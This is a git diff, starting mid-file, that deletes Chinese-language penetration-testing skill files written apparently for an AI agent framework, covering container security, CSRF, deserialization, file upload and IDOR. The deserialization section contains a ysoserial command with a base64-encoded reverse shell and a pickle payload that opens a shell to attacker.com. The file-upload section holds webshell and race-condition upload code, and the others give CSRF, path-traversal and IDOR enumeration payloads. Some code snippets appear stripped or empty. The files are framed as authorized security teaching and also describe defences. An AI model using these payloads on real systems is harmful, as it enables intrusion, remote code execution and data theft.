运行kube-hunter -kube-hunter --remote target-ip - -# 主动模式 -kube-hunter --active -``` - -### Pod安全 - -**检查Pod安全策略:** -```yaml -# 不安全的Pod配置 -apiVersion: v1 -kind: Pod -spec: - containers: - - name: app - image: nginx - securityContext: - privileged: true # 特权模式 - runAsUser: 0 # root用户 -``` - -**安全配置:** -```yaml -apiVersion: v1 -kind: Pod -spec: - securityContext: - runAsNonRoot: true - runAsUser: 1000 - fsGroup: 2000 - containers: - - name: app - image: nginx - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: true - capabilities: - drop: - - ALL - add: - - NET_BIND_SERVICE -``` - -### RBAC检查 - -**检查角色权限:** -```bash -# 列出所有角色 -kubectl get roles --all-namespaces - -# 检查角色绑定 -kubectl get rolebindings --all-namespaces - -# 检查集群角色 -kubectl get clusterroles - -# 检查用户权限 -kubectl auth can-i --list --as=system:serviceaccount:default:sa-name -``` - -**常见问题:** -- 过度权限 -- 未使用的角色 -- 未使用的服务账户 - -### 网络策略 - -**检查网络策略:** -```bash -# 列出所有网络策略 -kubectl get networkpolicies --all-namespaces - -# 检查网络策略配置 -kubectl describe networkpolicy policy-name -n namespace -``` - -**网络策略示例:** -```yaml -apiVersion: networking.k8s.io/v1 -kind: NetworkPolicy -metadata: - name: default-deny -spec: - podSelector: {} - policyTypes: - - Ingress - - Egress -``` - -## 工具使用 - -### Falco - -**运行时安全监控:** -```bash -# 安装Falco -helm repo add falcosecurity https://falcosecurity.github.io/charts -helm install falco falcosecurity/falco - -# 检查规则 -falco -r /etc/falco/rules.d/ -``` - -### Aqua Security - -```bash -# 扫描镜像 -aqua image scan nginx:latest - -# 扫描Kubernetes集群 -aqua k8s scan -``` - -### Snyk - -```bash -# 扫描Dockerfile -snyk test --docker nginx:latest - -# 扫描Kubernetes配置 -snyk iac test k8s/ -``` - -## 测试清单 - -### 镜像安全 -- [ ] 扫描基础镜像漏洞 -- [ ] 扫描依赖包漏洞 -- [ ] 检查Dockerfile配置 -- [ ] 检查敏感信息泄露 - -### 运行时安全 -- [ ] 检查容器权限 -- [ ] 检查资源限制 -- [ ] 检查网络隔离 -- [ ] 检查文件系统挂载 - -### 编排安全 -- [ ] 检查Kubernetes配置 -- [ ] 检查RBAC配置 -- [ ] 检查网络策略 -- [ ] 检查Pod安全策略 - -## 常见安全问题 - -### 1. 镜像漏洞 - -**问题:** -- 基础镜像包含漏洞 -- 依赖包包含漏洞 -- 未及时更新 - -**修复:** -- 定期扫描镜像 -- 及时更新基础镜像 -- 使用最小化镜像 - -### 2. 过度权限 - -**问题:** -- 容器以root运行 -- 特权模式 -- 挂载敏感目录 - -**修复:** -- 使用非root用户 -- 禁用特权模式 -- 限制文件系统访问 - -### 3. 配置错误 - -**问题:** -- 默认配置不安全 -- 网络策略缺失 -- RBAC配置错误 - -**修复:** -- 遵循安全最佳实践 -- 实施网络策略 -- 正确配置RBAC - -### 4. 敏感信息泄露 - -**问题:** -- 镜像包含密钥 -- 环境变量暴露 -- 配置文件泄露 - -**修复:** -- 使用密钥管理 -- 避免硬编码 -- 使用Secret对象 - -## 最佳实践 - -### 1. 镜像安全 - -- 使用官方基础镜像 -- 定期更新镜像 -- 扫描镜像漏洞 -- 最小化镜像大小 - -### 2. 运行时安全 - -- 使用非root用户 -- 限制容器权限 -- 实施资源限制 -- 启用安全上下文 - -### 3. 编排安全 - -- 配置网络策略 -- 实施RBAC -- 使用Pod安全策略 -- 启用审计日志 - -## 注意事项 - -- 仅在授权环境中进行测试 -- 避免对生产环境造成影响 -- 注意不同容器平台的差异 -- 定期进行安全扫描 \ No newline at end of file diff --git a/skills/csrf-testing/SKILL.md b/skills/csrf-testing/SKILL.md deleted file mode 100644 index 30a61612..00000000 --- a/skills/csrf-testing/SKILL.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -name: csrf-testing -description: CSRF跨站请求伪造测试的专业技能和方法论 -version: 1.0.0 ---- - -# CSRF跨站请求伪造测试 - -## 概述 - -CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。 - -## 漏洞原理 - -- 攻击者诱导用户访问恶意页面 -- 恶意页面自动发送请求到目标网站 -- 浏览器自动携带用户的认证信息(Cookie、Session) -- 目标网站误认为是用户合法操作 - -## 测试方法 - -### 1. 识别敏感操作 - -- 密码修改 -- 邮箱修改 -- 转账操作 -- 权限变更 -- 数据删除 -- 状态更新 - -### 2. 检测CSRF Token - -**检查是否有Token保护:** -```html - -
- - -
- - -
- -
-``` - -### 3. 验证Token有效性 - -**测试Token是否可预测:** -- Token是否基于时间戳 -- Token是否基于用户ID -- Token是否可重复使用 -- Token是否在多个请求间共享 - -### 4. 检查Referer验证 - -**测试Referer检查是否可绕过:** -```javascript -// 正常请求 -Referer: https://target.com/change-password - -// 测试绕过 -Referer: https://target.com.evil.com -Referer: https://evil.com/?target.com -Referer: (空) -``` - -## 利用技术 - -### 基础CSRF攻击 - -**HTML表单自动提交:** -```html -
- - -
- -``` - -### JSON CSRF - -**绕过Content-Type检查:** -```html - -
- -
- -``` - -### GET请求CSRF - -**利用GET请求进行攻击:** -```html - -``` - -## 绕过技术 - -### Token绕过 - -**如果Token在Cookie中:** -```javascript -// 如果Token同时存在于Cookie和表单中 -// 可以尝试只提交Cookie中的Token -fetch('https://target.com/api/action', { - method: 'POST', - credentials: 'include', - body: 'action=delete&id=123' - // 不包含csrf_token参数,依赖Cookie -}); -``` - -### SameSite Cookie绕过 - -**利用子域名:** -- 如果SameSite=Lax,GET请求仍可携带Cookie -- 利用子域名进行攻击 - -### 双重提交Cookie - -**绕过Token验证:** -```html - -
- - -
-``` - -## 工具使用 - -### Burp Suite - -**使用CSRF PoC生成器:** -1. 拦截目标请求 -2. 右键 → Engagement tools → Generate CSRF PoC -3. 测试生成的PoC - -### OWASP ZAP - -```bash -# 使用ZAP进行CSRF扫描 -zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认目标操作没有CSRF Token保护 -2. 构造恶意请求并验证可执行 -3. 评估影响(数据泄露、权限提升、资金损失等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和受影响的操作 -- 攻击场景和影响范围 -- 完整的利用步骤和PoC -- 修复建议(CSRF Token、SameSite Cookie、Referer验证等) - -## 防护措施 - -### 推荐方案 - -1. **CSRF Token** - - 每个表单包含唯一Token - - Token存储在Session中 - - 验证Token有效性 - -2. **SameSite Cookie** - ```javascript - Set-Cookie: session=abc123; SameSite=Strict; Secure - ``` - -3. **双重提交Cookie** - - Token同时存在于Cookie和表单 - - 验证两者是否匹配 - -4. **Referer验证** - - 验证Referer是否为同源 - - 注意空Referer的处理 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免对用户账户造成实际影响 -- 记录所有测试步骤 -- 考虑不同浏览器的行为差异 \ No newline at end of file diff --git a/skills/cyberstrike-eino-demo/FORMS.md b/skills/cyberstrike-eino-demo/FORMS.md deleted file mode 100644 index e0435b9a..00000000 --- a/skills/cyberstrike-eino-demo/FORMS.md +++ /dev/null @@ -1,8 +0,0 @@ -# 表单 / 检查项(示例) - -本文件演示 **Level 3** 资源:与主说明分离,按需通过多代理 **`skill`** 或 HTTP `resource_path=FORMS.md` 加载。 - -## 授权检查表 - -- 书面授权是否在有效期内? -- 测试范围(域名 / IP)是否与授权一致? diff --git a/skills/cyberstrike-eino-demo/REFERENCE.md b/skills/cyberstrike-eino-demo/REFERENCE.md deleted file mode 100644 index 4dbd27b3..00000000 --- a/skills/cyberstrike-eino-demo/REFERENCE.md +++ /dev/null @@ -1,14 +0,0 @@ -# API / 参考(示例) - -## HTTP `/api/skills/{id}` - -- `resource_path`:包内相对路径,例如 `FORMS.md`、`scripts/payloads.txt`。 -- `depth=summary`:仅摘要与目录,适合首轮检索。 - -## 多代理运行时 - -- 使用 Eino ADK **`skill`** 工具按技能包渐进加载;可选开启 `multi_agent.eino_skills.filesystem_tools` 访问包内文件。 - -## 链接 - -- [Agent Skills 概览](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) diff --git a/skills/cyberstrike-eino-demo/SKILL.md b/skills/cyberstrike-eino-demo/SKILL.md deleted file mode 100644 index 965e7d6b..00000000 --- a/skills/cyberstrike-eino-demo/SKILL.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -name: cyberstrike-eino-demo -description: 满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。 ---- - -# CyberStrike × Eino 满配技能演示 - -本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致:**`SKILL.md` 为清单 + 主说明**(无单独 `SKILL.yaml`)。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录(只要路径安全、未触达包深度/文件数上限),由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。 - -## 概述 - -用于一次性验证: - -- HTTP `GET /api/skills` 列表(`script_count`、`file_count`、`progressive` 等为推导/扫描结果) -- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full` -- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id(例如 `## Payload 样例` 常对应 `section=payload`) -- 多代理内 ADK **`skill`** 工具(及可选本机文件工具)读取包内相对路径资源 -- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索 - -**硬性要求**:任何测试须取得书面授权,并限定在约定范围与时间窗口内。 - -## 授权测试工作流 - -1. **范围确认**:域名 / IP、接口列表、禁止动作(DoS、数据拖库等)。 -2. **基线记录**:对约定资产做只读探测,保存时间戳与原始请求/响应摘要。 -3. **分类测试**:按漏洞类型拆分任务;高风险操作前二次确认授权边界。 -4. **证据与报告**:每个发现附带复现步骤、影响、修复建议;敏感数据脱敏。 -5. **收尾**:删除临时账号、清理测试数据、移交报告。 - -## Payload 样例 - -以下为 **教学占位**,实际测试需替换为目标上下文且不得用于未授权系统: - -- SQLi 探测(错误型):`"'`(观察是否触发数据库错误信息泄露) -- XSS 反射型(无害化):`` → 在靶场中应被编码或 CSP 拦截 -- 路径穿越(只读验证):`....//....//etc/passwd`(仅在授权文件读取场景) - -详细列表见 `scripts/payloads.txt`。 - -## references/ 与 assets/ - -用于验证非 `scripts/` 的子目录是否被同等对待: - -| 路径 | 用途 | -|------|------| -| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 | -| `assets/README.txt` | 占位资源(可换成真实二进制做读文件上限测试) | - -## 推荐工具链 - -| 阶段 | 工具示例 | -|------|-----------| -| 代理与重放 | Burp Suite、mitmproxy | -| 扫描与目录 | ffuf、nuclei(需调低并发遵守授权) | -| 漏洞验证 | 自写 PoC、官方 CLI(sqlmap 等)仅在授权范围内 | -| 记录 | Markdown + JSON 片段模板(见 `scripts/report-snippet.json`) | - -## 清单与验证 - -- [ ] 已保存书面授权与测试窗口 -- [ ] `scripts/` 下文件与正文引用一致 -- [ ] Web 或 `GET /api/skills?...` 可核对索引;多代理会话内用 **`skill`** 工具按包加载以节省 token -- [ ] 需要细节时通过 **`skill`** 拉全文,或 HTTP `depth=full`、`section=<标题或短 id>` -- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh` -- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取 diff --git a/skills/cyberstrike-eino-demo/assets/README.txt b/skills/cyberstrike-eino-demo/assets/README.txt deleted file mode 100644 index 64241482..00000000 --- a/skills/cyberstrike-eino-demo/assets/README.txt +++ /dev/null @@ -1,8 +0,0 @@ -CyberStrike skill package — assets/ smoke test -============================================== - -This plain-text file checks that arbitrary subfolders under a skill package -(e.g. assets/) are listed and readable via /api/skills/...?resource_path=... - -You may replace this with real binaries (images, zips, etc.) in authorized tests. -Max read size is enforced by the server (see skillpackage default limits). diff --git a/skills/cyberstrike-eino-demo/references/citations.md b/skills/cyberstrike-eino-demo/references/citations.md deleted file mode 100644 index cea948d2..00000000 --- a/skills/cyberstrike-eino-demo/references/citations.md +++ /dev/null @@ -1,13 +0,0 @@ -# 引用与外链(示例) - -本文件用于验证技能包内 **`references/`** 目录是否被列表 API、HTTP `resource_path` 及多代理本机文件工具正常识别。 - -## 测试方式(授权环境内) - -1. `GET /api/skills/cyberstrike-eino-demo` 响应中的 `package_files` 应包含 `references/citations.md`。 -2. `GET /api/skills/cyberstrike-eino-demo?resource_path=references/citations.md` 应返回本文内容。 -3. 多代理且开启 `eino_skills.filesystem_tools` 时,可通过相对路径读取本文件。 - -## 占位引用 - -- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)(仅作链接格式示例) diff --git a/skills/cyberstrike-eino-demo/scripts/check-env.sh b/skills/cyberstrike-eino-demo/scripts/check-env.sh deleted file mode 100644 index d6bda088..00000000 --- a/skills/cyberstrike-eino-demo/scripts/check-env.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env bash -# Demo only — not executed by CyberStrike server; safe to display when previewing the skill package. -set -euo pipefail -echo "cyberstrike-eino-demo / scripts/check-env.sh" -echo "Purpose: illustrate bundled script resource in a skill package." -echo "This script does not modify the system when shown in a preview or read-only context." -uname -s 2>/dev/null || echo "(uname unavailable in display context)" diff --git a/skills/cyberstrike-eino-demo/scripts/payloads.txt b/skills/cyberstrike-eino-demo/scripts/payloads.txt deleted file mode 100644 index 2c6b0429..00000000 --- a/skills/cyberstrike-eino-demo/scripts/payloads.txt +++ /dev/null @@ -1,4 +0,0 @@ -# Placeholder payloads for authorized testing labs only. -sqli-probe: ' -xss-probe: -ssrf-probe: http://127.0.0.1:80 (only if scope explicitly allows loopback) diff --git a/skills/cyberstrike-eino-demo/scripts/report-snippet.json b/skills/cyberstrike-eino-demo/scripts/report-snippet.json deleted file mode 100644 index e9cb6903..00000000 --- a/skills/cyberstrike-eino-demo/scripts/report-snippet.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "title": "Example finding", - "severity": "medium", - "affected": "https://example.com/api/v1/search", - "summary": "Parameterized query reflects error message; verify with authorized DAST only.", - "remediation": "Use prepared statements; generic error pages in production.", - "references": ["OWASP SQL Injection"] -} diff --git a/skills/deserialization-testing/SKILL.md b/skills/deserialization-testing/SKILL.md deleted file mode 100644 index 590c996c..00000000 --- a/skills/deserialization-testing/SKILL.md +++ /dev/null @@ -1,310 +0,0 @@ ---- -name: deserialization-testing -description: 反序列化漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# 反序列化漏洞测试 - -## 概述 - -反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。 - -## 常见格式 - -### Java - -**常见库:** -- Java原生序列化 -- Jackson -- Fastjson -- XStream -- Apache Commons Collections - -### PHP - -**常见函数:** -- unserialize() -- json_decode() - -### Python - -**常见模块:** -- pickle -- yaml -- json - -### .NET - -**常见类:** -- BinaryFormatter -- SoapFormatter -- DataContractSerializer - -## 测试方法 - -### 1. 识别序列化数据 - -**Java序列化特征:** -``` -AC ED 00 05 (十六进制) -rO0 (Base64) -``` - -**PHP序列化特征:** -``` -O:8:"stdClass" -a:2:{s:4:"test";s:4:"data";} -``` - -**Python pickle特征:** -``` -\x80\x03 -``` - -### 2. 检测反序列化点 - -**常见位置:** -- Cookie值 -- Session数据 -- API参数 -- 文件上传 -- 缓存数据 -- 消息队列 - -### 3. Java反序列化 - -**Apache Commons Collections利用:** -```java -// 使用ysoserial生成Payload -java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin -``` - -**常见Gadget链:** -- CommonsCollections1-7 -- Spring1-2 -- ROME -- Jdk7u21 - -### 4. PHP反序列化 - -**基础测试:** -```php -cmd); - } -} -echo serialize(new Test()); -// O:4:"Test":1:{s:3:"cmd";s:2:"id";} -?> -``` - -**魔术方法利用:** -- __destruct() -- __wakeup() -- __toString() -- __call() - -### 5. Python pickle - -**基础测试:** -```python -import pickle -import os - -class RCE: - def __reduce__(self): - return (os.system, ('id',)) - -pickle.dumps(RCE()) -``` - -## 利用技术 - -### Java RCE - -**使用ysoserial:** -```bash -# 生成Payload -java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin - -# Base64编码 -base64 -w 0 payload.bin -``` - -**手动构造:** -```java -// 使用Gadget链构造恶意对象 -// 参考ysoserial源码 -``` - -### PHP RCE - -**利用POP链:** -```php -b->test(); - } -} - -class B { - public $c; - function test() { - call_user_func($this->c, "id"); - } -} - -$a = new A(); -$a->b = new B(); -$a->b->c = "system"; -echo serialize($a); -?> -``` - -### Python RCE - -**Pickle RCE:** -```python -import pickle -import base64 -import os - -class RCE: - def __reduce__(self): - return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',)) - -payload = pickle.dumps(RCE()) -print(base64.b64encode(payload)) -``` - -## 绕过技术 - -### 编码绕过 - -**Base64编码:** -``` -原始: rO0ABXNy... -编码: ck8wQUJYTnk... -``` - -**URL编码:** -``` -%72%4F%00%AB... -``` - -### 过滤器绕过 - -**使用不同Gadget链:** -- 如果CommonsCollections被过滤,尝试Spring -- 如果某个版本被过滤,尝试其他版本 - -### 类名混淆 - -**使用反射:** -```java -Class.forName("java.lang.Runtime").getMethod("exec", String.class) -``` - -## 工具使用 - -### ysoserial - -```bash -# 列出可用Gadget -java -jar ysoserial.jar - -# 生成Payload -java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin - -# 生成Base64 -java -jar ysoserial.jar CommonsCollections1 "command" | base64 -``` - -### PHPGGC - -```bash -# 列出可用Gadget -./phpggc -l - -# 生成Payload -./phpggc Monolog/RCE1 system id - -# 生成编码Payload -./phpggc -b Monolog/RCE1 system id -``` - -### Burp Suite - -1. 拦截包含序列化数据的请求 -2. 使用插件生成Payload -3. 替换原始数据 -4. 观察响应 - -## 验证和报告 - -### 验证步骤 - -1. 确认可以控制序列化数据 -2. 验证反序列化触发代码执行 -3. 评估影响(RCE、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和序列化数据格式 -- 使用的Gadget链或利用方式 -- 完整的利用步骤和PoC -- 修复建议(输入验证、使用安全序列化等) - -## 防护措施 - -### 推荐方案 - -1. **避免反序列化不可信数据** - - 使用JSON替代 - - 使用安全的序列化格式 - -2. **输入验证** - ```java - // 白名单验证类名 - private static final Set ALLOWED_CLASSES = - Set.of("com.example.SafeClass"); - - private Object readObject(ObjectInputStream ois) { - // 验证类名 - // ... - } - ``` - -3. **使用安全配置** - ```java - // Jackson配置 - objectMapper.enableDefaultTyping(); - objectMapper.setVisibility(PropertyAccessor.FIELD, - JsonAutoDetect.Visibility.ANY); - ``` - -4. **类加载器隔离** - - 使用自定义ClassLoader - - 限制可加载的类 - -5. **监控和日志** - - 记录反序列化操作 - - 监控异常行为 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 注意不同版本库的Gadget链差异 -- 测试时注意Payload大小限制 -- 了解目标应用的依赖库版本 \ No newline at end of file diff --git a/skills/file-upload-testing/SKILL.md b/skills/file-upload-testing/SKILL.md deleted file mode 100644 index 5f88c7b1..00000000 --- a/skills/file-upload-testing/SKILL.md +++ /dev/null @@ -1,328 +0,0 @@ ---- -name: file-upload-testing -description: 文件上传漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# 文件上传漏洞测试 - -## 概述 - -文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。 - -## 漏洞类型 - -### 1. 未验证文件类型 - -**仅前端验证:** -```javascript -// 可被绕过 -if (!file.name.endsWith('.jpg')) { - alert('只允许上传图片'); -} -``` - -### 2. 文件内容未验证 - -**仅检查扩展名:** -```php -// 危险代码 -if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') { - move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename); -} -``` - -### 3. 路径遍历 - -**未过滤文件名:** -``` -filename: ../../../etc/passwd -filename: ..\..\..\windows\system32\config\sam -``` - -### 4. 文件名覆盖 - -**可预测的文件名:** -``` -uploads/1.jpg -uploads/2.jpg -``` - -## 测试方法 - -### 1. 基础检测 - -**测试各种文件类型:** -- .php, .jsp, .asp, .aspx -- .php3, .php4, .php5, .phtml -- .jspx, .jspf -- .htaccess, .htpasswd - -**测试双扩展名:** -``` -shell.php.jpg -shell.jpg.php -``` - -**测试大小写:** -``` -shell.PHP -shell.PhP -``` - -### 2. 内容类型绕过 - -**修改Content-Type:** -``` -Content-Type: image/jpeg -# 但文件内容是PHP代码 -``` - -**Magic Bytes:** -```php -// 在PHP代码前添加图片头 -GIF89a -``` - -### 3. 解析漏洞 - -**Apache解析漏洞:** -``` -shell.php.xxx # Apache可能解析为PHP -``` - -**IIS解析漏洞:** -``` -shell.asp;.jpg -shell.asp:.jpg -``` - -**Nginx解析漏洞:** -``` -shell.jpg%00.php -``` - -### 4. 竞争条件 - -**文件上传后立即访问:** -```python -# 上传.php文件,在上传完成但删除前访问 -import requests -import threading - -def upload(): - files = {'file': ('shell.php', '')} - requests.post('http://target.com/upload', files=files) - -def access(): - time.sleep(0.1) - requests.get('http://target.com/uploads/shell.php?cmd=id') - -threading.Thread(target=upload).start() -threading.Thread(target=access).start() -``` - -## 利用技术 - -### PHP WebShell - -**基础WebShell:** -```php - -``` - -**一句话木马:** -```php - -``` - -**绕过过滤:** -```php - -``` - -**PNG图片马:** -```bash -# 使用工具将PHP代码嵌入PNG -python3 png2php.py shell.php shell.png -``` - -### 文件包含配合 - -**如果存在文件包含漏洞:** -``` -# 上传包含PHP代码的图片 -# 然后通过文件包含执行 -?file=uploads/shell.jpg -``` - -## 绕过技术 - -### 扩展名绕过 - -**双扩展名:** -``` -shell.php.jpg -shell.php;.jpg -shell.php%00.jpg -``` - -**大小写:** -``` -shell.PHP -shell.PhP -``` - -**特殊字符:** -``` -shell.php. -shell.php -shell.php%20 -``` - -### Content-Type绕过 - -**修改请求头:** -``` -Content-Type: image/jpeg -Content-Type: image/png -Content-Type: image/gif -``` - -### Magic Bytes绕过 - -**添加文件头:** -```php -// JPEG -\xFF\xD8\xFF\xE0 - -// GIF -GIF89a - -// PNG -\x89\x50\x4E\x47 -``` - -### 代码混淆 - -**使用短标签:** -```php - -``` - -**使用变量:** -```php - shell.php -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以上传恶意文件 -2. 验证文件可以执行 -3. 评估影响(命令执行、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和上传功能 -- 可上传的文件类型和执行方式 -- 完整的利用步骤和PoC -- 修复建议(文件类型验证、内容检查、安全存储等) - -## 防护措施 - -### 推荐方案 - -1. **文件类型白名单** - ```python - ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'} - ext = filename.rsplit('.', 1)[1].lower() - if ext not in ALLOWED_EXTENSIONS: - raise ValueError("File type not allowed") - ``` - -2. **文件内容验证** - ```python - import magic - file_type = magic.from_buffer(file_content, mime=True) - if not file_type.startswith('image/'): - raise ValueError("Invalid file content") - ``` - -3. **重命名文件** - ```python - import uuid - filename = str(uuid.uuid4()) + '.' + ext - ``` - -4. **隔离存储** - - 文件存储在Web根目录外 - - 通过脚本代理访问 - - 禁用执行权限 - -5. **文件扫描** - - 使用杀毒软件扫描 - - 检查文件内容 - - 移除可执行权限 - -6. **大小限制** - ```python - MAX_SIZE = 5 * 1024 * 1024 # 5MB - if file.size > MAX_SIZE: - raise ValueError("File too large") - ``` - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免上传恶意文件到生产环境 -- 测试后及时清理 -- 注意不同服务器的解析差异 \ No newline at end of file diff --git a/skills/idor-testing/SKILL.md b/skills/idor-testing/SKILL.md deleted file mode 100644 index bf70cbd7..00000000 --- a/skills/idor-testing/SKILL.md +++ /dev/null @@ -1,319 +0,0 @@ ---- -name: idor-testing -description: IDOR不安全的直接对象引用测试的专业技能和方法论 -version: 1.0.0 ---- - -# IDOR不安全的直接对象引用测试 - -## 概述 - -IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。 - -**危险代码示例:** -```php -// 直接使用用户输入的ID -$file = file_get_contents('/files/' . $_GET['id'] . '.pdf'); -``` - -## 测试方法 - -### 1. 识别直接对象引用 - -**常见资源类型:** -- 用户ID -- 文件ID/文件名 -- 订单ID -- 文档ID -- 账户ID -- 记录ID - -**常见位置:** -- URL参数 -- POST数据 -- Cookie值 -- HTTP头 -- 文件路径 - -### 2. 枚举测试 - -**顺序ID测试:** -``` -/user?id=1 -/user?id=2 -/user?id=3 -``` - -**UUID测试:** -``` -/user?id=550e8400-e29b-41d4-a716-446655440000 -/user?id=550e8400-e29b-41d4-a716-446655440001 -``` - -**文件名测试:** -``` -/files/document1.pdf -/files/document2.pdf -/files/invoice_2024_001.pdf -``` - -### 3. 水平权限测试 - -**访问其他用户资源:** -``` -当前用户ID: 100 -测试: /user?id=101 -测试: /user?id=102 -``` - -**访问其他用户文件:** -``` -/files/user100_document.pdf -测试: /files/user101_document.pdf -``` - -### 4. 垂直权限测试 - -**普通用户访问管理员资源:** -``` -/admin/users?id=1 -/admin/settings -/admin/logs -``` - -## 利用技术 - -### 用户信息泄露 - -**枚举用户资料:** -```bash -# 顺序枚举 -for i in {1..1000}; do - curl "https://target.com/user?id=$i" -done - -# 观察响应差异 -``` - -### 文件访问 - -**访问其他用户文件:** -``` -/files/invoice_12345.pdf -/files/report_67890.pdf -/files/contract_11111.pdf -``` - -**目录遍历结合:** -``` -/files/../admin/config.php -/files/../../etc/passwd -``` - -### 数据修改 - -**修改其他用户数据:** -```http -POST /api/user/update -Content-Type: application/json - -{ - "id": 101, - "email": "attacker@evil.com" -} -``` - -### 批量操作 - -**批量获取数据:** -```python -import requests - -for user_id in range(1, 1000): - response = requests.get(f'https://target.com/api/user/{user_id}') - if response.status_code == 200: - print(f"User {user_id}: {response.json()}") -``` - -## 绕过技术 - -### ID混淆 - -**Base64编码:** -``` -原始ID: 123 -编码: MTIz -URL: /user?id=MTIz -``` - -**哈希值:** -``` -原始ID: 123 -哈希: 202cb962ac59075b964b07152d234b70 -URL: /user?id=202cb962ac59075b964b07152d234b70 -``` - -### 参数名混淆 - -**使用不同参数名:** -``` -/user?id=123 -/user?uid=123 -/user?user_id=123 -/user?account=123 -``` - -### HTTP方法绕过 - -**尝试不同HTTP方法:** -``` -GET /user/123 -POST /user/123 -PUT /user/123 -PATCH /user/123 -``` - -### 路径混淆 - -**尝试不同路径:** -``` -/api/v1/user/123 -/api/user/123 -/user/123 -/users/123 -``` - -## 工具使用 - -### Burp Suite - -**使用Intruder:** -1. 拦截请求 -2. 发送到Intruder -3. 标记ID参数 -4. 使用数字序列或自定义列表 -5. 观察响应差异 - -**使用Repeater:** -1. 手动修改ID -2. 测试不同值 -3. 观察响应 - -### OWASP ZAP - -```bash -# 使用ZAP进行IDOR扫描 -zap-cli active-scan --scanners all http://target.com -``` - -### Python脚本 - -```python -import requests -import json - -def test_idor(base_url, user_id_range): - for user_id in user_id_range: - url = f"{base_url}/user?id={user_id}" - response = requests.get(url) - - if response.status_code == 200: - data = response.json() - print(f"User {user_id}: {data.get('email', 'N/A')}") - -test_idor("https://target.com", range(1, 100)) -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以访问未授权的资源 -2. 验证可以读取、修改或删除其他用户数据 -3. 评估影响(数据泄露、隐私侵犯等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和资源标识符 -- 可访问的未授权资源 -- 完整的利用步骤和PoC -- 修复建议(访问控制、资源映射等) - -## 防护措施 - -### 推荐方案 - -1. **访问控制验证** - ```python - def get_user_data(user_id, current_user_id): - # 验证权限 - if user_id != current_user_id: - raise PermissionDenied("Cannot access other user's data") - - # 返回数据 - return db.get_user(user_id) - ``` - -2. **间接对象引用** - ```python - # 使用映射表 - user_mapping = { - 'abc123': 100, - 'def456': 101, - 'ghi789': 102 - } - - def get_user(mapped_id): - real_id = user_mapping.get(mapped_id) - if not real_id: - raise NotFound() - return db.get_user(real_id) - ``` - -3. **基于角色的访问控制** - ```python - def check_permission(user, resource): - if user.role == 'admin': - return True - if resource.owner_id == user.id: - return True - return False - ``` - -4. **资源所有权验证** - ```python - def update_user_data(user_id, data, current_user): - user = db.get_user(user_id) - - # 验证所有权 - if user.id != current_user.id and current_user.role != 'admin': - raise PermissionDenied() - - # 更新数据 - db.update_user(user_id, data) - ``` - -5. **使用不可预测的标识符** - ```python - import uuid - - # 使用UUID替代顺序ID - resource_id = str(uuid.uuid4()) - ``` - -6. **最小权限原则** - - 只返回用户有权限访问的数据 - - 使用数据过滤 - - 限制可访问的资源范围 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 避免访问或修改真实用户数据 -- 注意不同资源的访问控制差异 -- 测试时注意请求频率,避免触发防护 \ No newline at end of file diff --git a/skills/incident-response/SKILL.md b/skills/incident-response/SKILL.md deleted file mode 100644 index 5f2657b0..00000000 --- a/skills/incident-response/SKILL.md +++ /dev/null @@ -1,272 +0,0 @@ ---- -name: 